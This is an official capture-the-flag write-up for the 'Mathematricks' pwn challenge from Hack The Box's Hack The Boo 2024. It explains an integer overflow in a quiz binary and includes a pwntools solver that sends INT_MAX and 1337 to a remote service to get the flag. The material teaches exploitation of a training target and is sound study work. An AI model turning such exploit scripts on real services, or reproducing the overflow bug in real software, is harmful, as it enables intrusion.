ctf-resources/htb/hacktheboo2024/pwn/[Very Easy] Mathematricks/README.md

245 lines
6.8 KiB
Markdown
Raw Permalink Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

![](assets/banner.png)
<img src="assets/htb.png" style="margin-left: 20px; zoom: 80%;" align=left /> <font size="10">Mathematricks</font>
9<sup>th</sup> September 2024 / Document No. DYY.102.XX
Prepared By: w3th4nds
Challenge Author(s): w3th4nds
Difficulty: <font color=green>Very Easy</font>
Classification: Official
# Synopsis
Mathematricks is a very easy difficulty challenge that features integer overflow vulnerability.
# Description
How about a magic trick? Or a math trick? Beat me and I will give you an amazing reward!
## Skills Required
- Basic C.
## Skills Learned
- Integer Overflow.
# Enumeration
First of all, we start with a `checksec`:
```console
pwndbg> checksec
Arch: amd64
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
```
### Protections 🛡️
As we can see, all protection are enabled:
| Protection | Enabled | Usage |
| :---: | :---: | :---: |
| **Canary** | ✅ | Prevents **Buffer Overflows** |
| **NX** | ✅ | Disables **code execution** on stack |
| **PIE** | ✅ | Randomizes the **base address** of the binary |
| **RelRO** | **Full** | Makes some binary sections **read-only** |
The program's interface
![](assets/inter.png)
![](assets/inter1.png)
The challenge seems to have only 4 questions. The first 3 are pretty easy, leaving only the last one a bit more tricky. Well, without imaginary numbers, it's not possible to achieve the result of `(n1, n2) > 0 && (n1 + n2) < 0`. In `C` though, there is a limit to the integer values we can enter.
### Disassembly
Starting with `main()`:
```c
00001925 int32_t main(int32_t argc, char** argv, char** envp)
00001925 {
0000193a void* fsbase;
0000193a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
00001940 banner();
0000194a while (true)
0000194a {
0000194a uint64_t rax_3 = menu();
00001953 if (rax_3 == 1)
00001953 {
00001962 game();
00001962 /* no return */
00001953 }
00001959 if (rax_3 != 2)
00001959 {
00001959 break;
00001959 }
0000196e rules();
0000194a }
0000198e printf("%s\n\t\t\t[???????????]\n\n", "\x1b[1;31m");
00001998 exit(0x520);
00001998 /* no return */
00001925 }
```
We see a call to `game()`. Taking a look at this:
```c
00001700 void game() __noreturn
00001700 {
00001715 void* fsbase;
00001715 int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);
00001725 printstr(&data_2180);
00001734 printstr("\t\tQ1: 1 + 1 = ?\n\n\t\t> ");
00001747 if (read_num() != 2)
00001747 {
00001753 printstr("\n\t\t[!] Elementary school open…");
0000175d exit(0x520);
0000175d /* no return */
00001747 }
00001785 printf("\n\t\t%s[+] THAT WAS AMAZING!\n\n…", "\x1b[1;32m", "\x1b[1;34m");
00001794 printstr("\t\tQ2: 2 - 1 = ?\n\n\t\t> ");
000017a7 if (read_num() != 1)
000017a7 {
000017b3 printstr("\n\t\t[!] Elementary school open…");
000017bd exit(0x520);
000017bd /* no return */
000017a7 }
000017e5 printf("\n\t\t%s[+] WE HAVE A MATHEMATIC…", "\x1b[1;32m", "\x1b[1;36m");
000017f4 printstr("\t\tQ3: 1337 - 1337 = ?\n\n\t\t> ");
00001806 if (read_num() != 0)
00001806 {
00001812 printstr("\n\t\t[!] High school opens at 0…");
0000181c exit(0x520);
0000181c /* no return */
00001806 }
00001844 printf("\n\t\t%s[+] GOD OF MATHS JUST EN…", "\x1b[1;32m", "\x1b[1;34m");
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
0000185d uint64_t n1 = read_num();
00001870 printstr("\n\t\tn2: ");
0000187a uint64_t n2 = read_num();
0000189e if ((n1 > 0 && n2 > 0))
0000189e {
000018bd if ((n2 + n1) >= 0)
000018bd {
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
000018bd }
000018bd else
000018bd {
000018c4 read_flag();
000018bd }
000018df exit(0x520);
000018df /* no return */
0000189e }
000018aa printstr("\n\t\t[!] Hacking school opens a…");
000018b4 exit(0x520);
000018b4 /* no return */
00001700 }
```
First of all, we can see the answers of the first 3 questions. Then, for the last question, we need to take into consideration this part of code:
```c
00001853 printstr("\t\tQ4: Enter 2 numbers n1, n2 w…");
0000185d uint64_t n1 = read_num();
00001870 printstr("\n\t\tn2: ");
0000187a uint64_t n2 = read_num();
0000189e if ((n1 > 0 && n2 > 0))
0000189e {
000018bd if ((n2 + n1) >= 0)
000018bd {
000018d5 printstr("\n\t\t[!] Hacking school opens a…");
000018bd }
000018bd else
000018bd {
000018c4 read_flag();
000018bd }
000018df exit(0x520);
000018df /* no return */
0000189e }
000018aa printstr("\n\t\t[!] Hacking school opens a…");
000018b4 exit(0x520);
000018b4 /* no return */
00001700 }
```
The crucial part here is that these 2 numbers are `uint64_t`, meaning they are `unsigned int` for 64-bit. This is probably a fault of the decompiler, because in the source code (it's not provided, just for demonstration purposes), we can see that indeed these 2 numbers are `unsigned` but the result is a `signed 32` or `int32_t`.
```c
int64_t n1, n2;
printstr("\t\tQ4: Enter 2 numbers n1, n2 where n1 > 0 and n2 > 0 and n1 + n2 < 0\n\n\t\tn1: ");
n1 = read_num();
printstr("\n\t\tn2: ");
n2 = read_num();
int32_t n3 = n1 + n2;
if (n1 <= 0 || n2 <= 0) {
printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
(n3 < 0) ? read_flag() : printstr("\n\t\t[!] Hacking school opens at 13:37 AM, don't miss it!\n\n");
exit(1312);
}
```
Taking a look at the `INT_MAX` value in `C`:
![](assets/int.png)
If we try to store this value to one of the numbers, and something else to the other, we can achieve an `Integer Overflow` and get the flag.
# Solution
```python
#!/usr/bin/python3
from pwn import *
import warnings
import os
warnings.filterwarnings('ignore')
context.arch = 'amd64'
context.log_level = 'critical'
fname = './mathematricks'
LOCAL = False
os.system('clear')
if LOCAL:
print('Running solver locally..\n')
r = process(fname)
else:
IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337
r = remote(IP, PORT)
print(f'Running solver remotely at {IP} {PORT}\n')
sla = lambda x,y : r.sendlineafter(x,y)
sla('🥸 ', '1') # play game
# Questions
sla('> ', '2')
sla('> ', '1')
sla('> ', '0')
sla('n1: ', '2147483647') # INT_MAX
sla('n2: ', '1337')
print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()}\n')
```